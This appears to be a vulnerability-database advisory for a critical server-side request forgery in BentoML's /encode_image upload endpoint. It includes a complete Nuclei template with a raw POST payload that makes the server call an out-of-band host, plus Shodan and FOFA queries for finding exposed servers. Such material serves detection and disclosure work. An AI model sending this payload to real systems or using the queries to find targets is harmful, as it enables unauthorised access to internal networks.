bentoml-ssrf: Bentoml - Server Side Request Forgery

2025-11-07 Bentoml PoC Public

Description

BentoML's upload file request is vulnerable to SSRF that allowing attacker to access internal service (local network).

Details

Severity
高危
Affected
Bentoml
Published
PoC
Public

PoC

id: bentoml-ssrf

info:
  name: Bentoml - Server Side Request Forgery
  author: ritikchaddha
  severity: critical
  description: |
    BentoML's upload file request is vulnerable to SSRF that allowing attacker to access internal service (local network).
  reference:
    - https://huntr.com/bounties/901ae5bd-5e24-4f1f-be9f-aa03fa6e1316
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-918
  metadata:
    max-request: 1
    vendor: bentoml
    product: bentoml
    shodan-query: html:"BentoML"
    fofa-query: body="BentoML"
  tags: ssrf,bentoml,oast,oob,vuln

variables:
  rand: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /encode_image HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGqThdiCjrkRXHqIr

        ------WebKitFormBoundaryGqThdiCjrkRXHqIr
        Content-Disposition: form-data; name="items";

        http://{{interactsh-url}}/{{rand}}
        ------WebKitFormBoundaryGqThdiCjrkRXHqIr--

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/json")'
          - "contains(interactsh_protocol,'http')"
          - 'contains(body, "error\":")'
          - 'status_code == 500'
        condition: and
# digest: 4b0a00483046022100f4616f4e05b33beadfdde4ee8758250f6668f47ea6e50fbb920c389d74940f590221008beacd43b2e079809ac2cfb5ff76b23579303f3434d7881c24bc0b0657fb2971:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life